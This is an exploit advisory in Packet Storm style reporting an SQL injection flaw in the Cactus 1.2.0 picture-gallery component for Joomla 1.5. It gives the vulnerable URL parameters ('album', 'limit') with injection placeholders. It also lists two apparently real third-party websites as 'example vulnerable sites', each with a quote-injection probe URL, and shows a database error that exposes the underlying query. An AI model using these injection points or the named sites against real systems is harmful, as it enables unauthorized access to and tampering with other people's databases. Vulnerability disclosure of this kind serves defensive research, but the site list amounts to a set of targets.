Share
###################################################################  
  
# Exploit Title : Joomla 1.5.15 Cactus 1.2.0 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/10/2019  
# Vendor Homepage : anatoliasystems.com  
Joomla Affected Versions : 1.5.4 and 1.5.15  
Software Affected Version : 1.2.0  
/administrator/components/com_cactus/com_cactus.xml  
Software Information Links :   
joomlacode.org/gf/project/cactus/  
100cms.org/extension/joomla/2559-Cactus  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
###################################################################  
  
# Description about Software :  
***************************  
Cactus is practical, comfortable, fast and simple picture gallery component for Joomla.  
  
###################################################################  
  
# Impact :  
***********  
Joomla Cactus is prone to an SQL-injection vulnerability because   
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
Exploiting this issue could allow an attacker to compromise the application, access or   
modify data, or exploit latent vulnerabilities in the underlying database.   
A remote attacker can send a specially crafted request to the vulnerable application and   
execute arbitrary SQL commands in application`s database. Further exploitation of this   
vulnerability may result in unauthorized data manipulation.   
An attacker can exploit this issue using a browser or with any SQL Injector Tool.  
  
###################################################################  
  
# SQL Injection Exploit :  
**********************  
/index.php?option=com_cactus&album=[SQL Injection]  
  
/index.php?option=com_cactus&album=[ID-NUMBER]&limit=[SQL Injection]  
  
###################################################################  
  
# Example Vulnerable Sites :  
*************************  
[+] indusfonte.com/site/index.php?option=com_cactus&album=1%27  
  
[+] elena-artstudio.de/index.php?option=com_cactus&album=1%27  
  
###################################################################  
  
# Example SQL Database Error :  
****************************  
No valid database connection You have an error in your SQL syntax; check the manual   
that corresponds to your MariaDB server version for the right syntax to use near 'ORDER   
BY jos_cactus.line LIMIT 0,9' at line 13 SQL=SELECT jos_cactus.id, jos_cactus.name,  
jos_cactus.caption, jos_cactus_album.path, jos_cactus_album.vpath, jos_cactus_album.  
tpath FROM jos_cactus, jos_cactus_album WHERE jos_cactus.albumid = jos_cactus_  
album.id AND jos_cactus_album.publish = 1 AND jos_cactus.publish = 1 AND   
jos_cactus.albumid = ORDER BY jos_cactus.line LIMIT 0,9  
  
###################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
###################################################################